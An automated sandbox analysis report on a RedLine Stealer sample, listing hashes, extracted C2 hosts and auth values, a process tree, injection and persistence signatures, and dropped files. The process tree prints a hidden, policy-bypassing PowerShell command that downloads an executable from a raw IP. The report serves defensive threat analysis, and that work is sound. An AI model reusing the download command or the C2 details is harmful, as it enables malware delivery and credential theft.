Analysis
-
max time kernel
151s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
08-10-2022 19:50
Static task
static1
Behavioral task
behavioral1
Sample
tmp.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
tmp.exe
Resource
win10v2004-20220812-en
General
-
Target
tmp.exe
-
Size
1.7MB
-
MD5
7d2177241b4fa57a9e3e6de208875025
-
SHA1
b8c1d3171e82de04821ff213bd298c368c4c0b0f
-
SHA256
391d8db75e7ff6684b8b81bcfcf3622d832b0ef7aa0b29d01f8a84f5c880a017
-
SHA512
b3071a54f6c94085be43e5093c0acb62c12dbe8d6ccfeb474e46741e255c6aec3c2e8f8bf9b2380791fee33feda75d4540bdbfc17da9bb040ea47e797b276f5a
-
SSDEEP
49152:Vz/r2pelcD7gxpL4zMdZYkuFUFeDsHpWkIxXBR0:Vz/r2olcWL4zcD4TR
Malware Config
Extracted
redline
@moriwWs
litrazalilibe.xyz:81
-
auth_value
c2f987b4e6cd55ad1315311e92563eca
Extracted
redline
185.186.142.127:17355
-
auth_value
2d7be1ed915f7e5f91af0977d4175cb7
Extracted
redline
h
185.106.92.139:16578
-
auth_value
d5aafe5ab67bae4a3f7cda3b2e30f9b7
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 7 IoCs
Processes:
resource yara_rule behavioral2/memory/131968-167-0x0000000000620000-0x0000000000640000-memory.dmp family_redline behavioral2/memory/13652-204-0x0000000000400000-0x0000000000420000-memory.dmp family_redline C:\Users\Admin\AppData\Roaming\2TFLPVS0CX9KEDP\app.exe family_redline behavioral2/memory/30992-242-0x0000000000CA0000-0x0000000000CC0000-memory.dmp family_redline C:\Users\Admin\AppData\Roaming\2TFLPVS0CX9KEDP\app.exe family_redline C:\Users\Admin\AppData\Roaming\8BOUWRCXZEBB7HA\app.exe family_redline C:\Users\Admin\AppData\Roaming\8BOUWRCXZEBB7HA\app.exe family_redline -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 24 3432 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 13 IoCs
Processes:
ba.exesg.exerog.exexerax.exegor.exegg.exesg.exerog.exexerax.exegor.exegg.exeapp.exeapp.exepid process 4696 ba.exe 4892 sg.exe 2416 rog.exe 4904 xerax.exe 16784 gor.exe 48424 gg.exe 108756 sg.exe 128920 rog.exe 131976 xerax.exe 135120 gor.exe 135152 gg.exe 30992 app.exe 31440 app.exe -
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
tmp.exesg.exesg.exegg.exegg.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation tmp.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation sg.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation sg.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation gg.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation gg.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
msedge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 4 IoCs
Processes:
rog.exexerax.exexerax.exerog.exedescription pid process target process PID 2416 set thread context of 131968 2416 rog.exe AppLaunch.exe PID 4904 set thread context of 134848 4904 xerax.exe AppLaunch.exe PID 131976 set thread context of 13660 131976 xerax.exe AppLaunch.exe PID 128920 set thread context of 13652 128920 rog.exe AppLaunch.exe -
Drops file in Program Files directory 2 IoCs
Processes:
setup.exedescription ioc process File created C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\3454d743-d981-4a4e-b793-e6296e825f16.tmp setup.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221008215106.pma setup.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Modifies registry class 2 IoCs
Processes:
msedge.exemsedge.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2629973501-4017243118-3254762364-1000\{DC2745B5-72F2-4CFF-9CDA-C0AEC2748935} msedge.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
Processes:
ba.exepowershell.exepowershell.exeAppLaunch.exemsedge.exeAppLaunch.exemsedge.exeAppLaunch.exemsedge.exeAppLaunch.exeidentity_helper.exemsedge.exepid process 4696 ba.exe 3432 powershell.exe 3432 powershell.exe 112868 powershell.exe 112868 powershell.exe 112868 powershell.exe 134848 AppLaunch.exe 134848 AppLaunch.exe 134848 AppLaunch.exe 14284 msedge.exe 14284 msedge.exe 13660 AppLaunch.exe 13660 AppLaunch.exe 13736 msedge.exe 13736 msedge.exe 13660 AppLaunch.exe 131968 AppLaunch.exe 131968 AppLaunch.exe 30008 msedge.exe 30008 msedge.exe 13652 AppLaunch.exe 13652 AppLaunch.exe 47280 identity_helper.exe 47280 identity_helper.exe 79776 msedge.exe 79776 msedge.exe 79776 msedge.exe 79776 msedge.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
Processes:
msedge.exepid process 13736 msedge.exe 13736 msedge.exe 13736 msedge.exe 13736 msedge.exe 13736 msedge.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
ba.exepowershell.exepowershell.exeAppLaunch.exeAppLaunch.exeAppLaunch.exeAppLaunch.exegg.exegg.exedescription pid process Token: SeDebugPrivilege 4696 ba.exe Token: SeDebugPrivilege 3432 powershell.exe Token: SeDebugPrivilege 112868 powershell.exe Token: SeDebugPrivilege 134848 AppLaunch.exe Token: SeDebugPrivilege 131968 AppLaunch.exe Token: SeDebugPrivilege 13660 AppLaunch.exe Token: SeDebugPrivilege 13652 AppLaunch.exe Token: SeDebugPrivilege 135152 gg.exe Token: SeDebugPrivilege 48424 gg.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
Processes:
msedge.exepid process 13736 msedge.exe 13736 msedge.exe 13736 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
tmp.exeba.exesg.exesg.exerog.exexerax.exepowershell.exerog.exexerax.exeexplorer.exemsedge.exedescription pid process target process PID 3032 wrote to memory of 4696 3032 tmp.exe ba.exe PID 3032 wrote to memory of 4696 3032 tmp.exe ba.exe PID 3032 wrote to memory of 4892 3032 tmp.exe sg.exe PID 3032 wrote to memory of 4892 3032 tmp.exe sg.exe PID 3032 wrote to memory of 4892 3032 tmp.exe sg.exe PID 4696 wrote to memory of 3432 4696 ba.exe powershell.exe PID 4696 wrote to memory of 3432 4696 ba.exe powershell.exe PID 4892 wrote to memory of 2416 4892 sg.exe rog.exe PID 4892 wrote to memory of 2416 4892 sg.exe rog.exe PID 4892 wrote to memory of 2416 4892 sg.exe rog.exe PID 4892 wrote to memory of 4904 4892 sg.exe xerax.exe PID 4892 wrote to memory of 4904 4892 sg.exe xerax.exe PID 4892 wrote to memory of 4904 4892 sg.exe xerax.exe PID 4892 wrote to memory of 16784 4892 sg.exe gor.exe PID 4892 wrote to memory of 16784 4892 sg.exe gor.exe PID 4892 wrote to memory of 16784 4892 sg.exe gor.exe PID 4892 wrote to memory of 48424 4892 sg.exe gg.exe PID 4892 wrote to memory of 48424 4892 sg.exe gg.exe PID 4892 wrote to memory of 48424 4892 sg.exe gg.exe PID 4696 wrote to memory of 108756 4696 ba.exe sg.exe PID 4696 wrote to memory of 108756 4696 ba.exe sg.exe PID 4696 wrote to memory of 108756 4696 ba.exe sg.exe PID 4696 wrote to memory of 112868 4696 ba.exe powershell.exe PID 4696 wrote to memory of 112868 4696 ba.exe powershell.exe PID 108756 wrote to memory of 128920 108756 sg.exe rog.exe PID 108756 wrote to memory of 128920 108756 sg.exe rog.exe PID 108756 wrote to memory of 128920 108756 sg.exe rog.exe PID 2416 wrote to memory of 131968 2416 rog.exe AppLaunch.exe PID 2416 wrote to memory of 131968 2416 rog.exe AppLaunch.exe PID 2416 wrote to memory of 131968 2416 rog.exe AppLaunch.exe PID 108756 wrote to memory of 131976 108756 sg.exe xerax.exe PID 108756 wrote to memory of 131976 108756 sg.exe xerax.exe PID 108756 wrote to memory of 131976 108756 sg.exe xerax.exe PID 4904 wrote to memory of 134848 4904 xerax.exe AppLaunch.exe PID 4904 wrote to memory of 134848 4904 xerax.exe AppLaunch.exe PID 4904 wrote to memory of 134848 4904 xerax.exe AppLaunch.exe PID 2416 wrote to memory of 131968 2416 rog.exe AppLaunch.exe PID 4904 wrote to memory of 134848 4904 xerax.exe AppLaunch.exe PID 2416 wrote to memory of 131968 2416 rog.exe AppLaunch.exe PID 4904 wrote to memory of 134848 4904 xerax.exe AppLaunch.exe PID 108756 wrote to memory of 135120 108756 sg.exe gor.exe PID 108756 wrote to memory of 135120 108756 sg.exe gor.exe PID 108756 wrote to memory of 135120 108756 sg.exe gor.exe PID 108756 wrote to memory of 135152 108756 sg.exe gg.exe PID 108756 wrote to memory of 135152 108756 sg.exe gg.exe PID 108756 wrote to memory of 135152 108756 sg.exe gg.exe PID 112868 wrote to memory of 99436 112868 powershell.exe explorer.exe PID 112868 wrote to memory of 99436 112868 powershell.exe explorer.exe PID 128920 wrote to memory of 13652 128920 rog.exe AppLaunch.exe PID 128920 wrote to memory of 13652 128920 rog.exe AppLaunch.exe PID 128920 wrote to memory of 13652 128920 rog.exe AppLaunch.exe PID 131976 wrote to memory of 13660 131976 xerax.exe AppLaunch.exe PID 131976 wrote to memory of 13660 131976 xerax.exe AppLaunch.exe PID 131976 wrote to memory of 13660 131976 xerax.exe AppLaunch.exe PID 128920 wrote to memory of 13652 128920 rog.exe AppLaunch.exe PID 131976 wrote to memory of 13660 131976 xerax.exe AppLaunch.exe PID 132672 wrote to memory of 13736 132672 explorer.exe msedge.exe PID 132672 wrote to memory of 13736 132672 explorer.exe msedge.exe PID 131976 wrote to memory of 13660 131976 xerax.exe AppLaunch.exe PID 128920 wrote to memory of 13652 128920 rog.exe AppLaunch.exe PID 13736 wrote to memory of 13852 13736 msedge.exe msedge.exe PID 13736 wrote to memory of 13852 13736 msedge.exe msedge.exe PID 13736 wrote to memory of 14268 13736 msedge.exe msedge.exe PID 13736 wrote to memory of 14268 13736 msedge.exe msedge.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ba.exe"C:\Users\Admin\AppData\Local\Temp\ba.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -WindowStyle Hidden Invoke-WebRequest -uri http://5.161.104.85/sg.exe -OutFile C:\Users\Admin\AppData\Local\Temp\sg.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\sg.exe"C:\Users\Admin\AppData\Local\Temp\sg.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xerax.exe"C:\Users\Admin\AppData\Local\Temp\xerax.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\rog.exe"C:\Users\Admin\AppData\Local\Temp\rog.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\gor.exe"C:\Users\Admin\AppData\Local\Temp\gor.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\gg.exe"C:\Users\Admin\AppData\Local\Temp\gg.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\2TFLPVS0CX9KEDP\app.exe"C:\Users\Admin\AppData\Roaming\2TFLPVS0CX9KEDP\app.exe"5⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" explorer https://discord.gg/zcheats3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" https://discord.gg/zcheats4⤵
-
C:\Users\Admin\AppData\Local\Temp\sg.exe"C:\Users\Admin\AppData\Local\Temp\sg.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\rog.exe"C:\Users\Admin\AppData\Local\Temp\rog.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\xerax.exe"C:\Users\Admin\AppData\Local\Temp\xerax.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\gor.exe"C:\Users\Admin\AppData\Local\Temp\gor.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\gg.exe"C:\Users\Admin\AppData\Local\Temp\gg.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\8BOUWRCXZEBB7HA\app.exe"C:\Users\Admin\AppData\Roaming\8BOUWRCXZEBB7HA\app.exe"4⤵
- Executes dropped EXE
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/zcheats2⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa5faa46f8,0x7ffa5faa4708,0x7ffa5faa47183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:23⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 /prefetch:33⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2940 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3972 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5240 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4108 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4276 /prefetch:83⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6032 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings3⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x204,0x22c,0x7ff74c615460,0x7ff74c615470,0x7ff74c6154804⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:83⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5720 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2892 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1932 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5860 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2664 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6484 /prefetch:23⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,15515444077358022331,1342978848030269575,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3852 /prefetch:83⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.logFilesize
2KB
MD5b6995c7e3512a28bbbd7ec77269bcbce
SHA175881871d43cc54d107edbb18fe849fd70bc1e4d
SHA25667e87111d03048ee15f812bb72bc3b9e7634f40fd478893b4dafc777e42c0ea3
SHA51207adcb8a77e865a0a42bb26f68ed4613a1ab79e51b444e85ab46a7e06c13629583bc4fdddd4c22aa9749215da9bd09588a3bcf6c18eb77b9256651c8b053d8cf
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\CookiesFilesize
20KB
MD549693267e0adbcd119f9f5e02adf3a80
SHA13ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web DataFilesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web DataFilesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
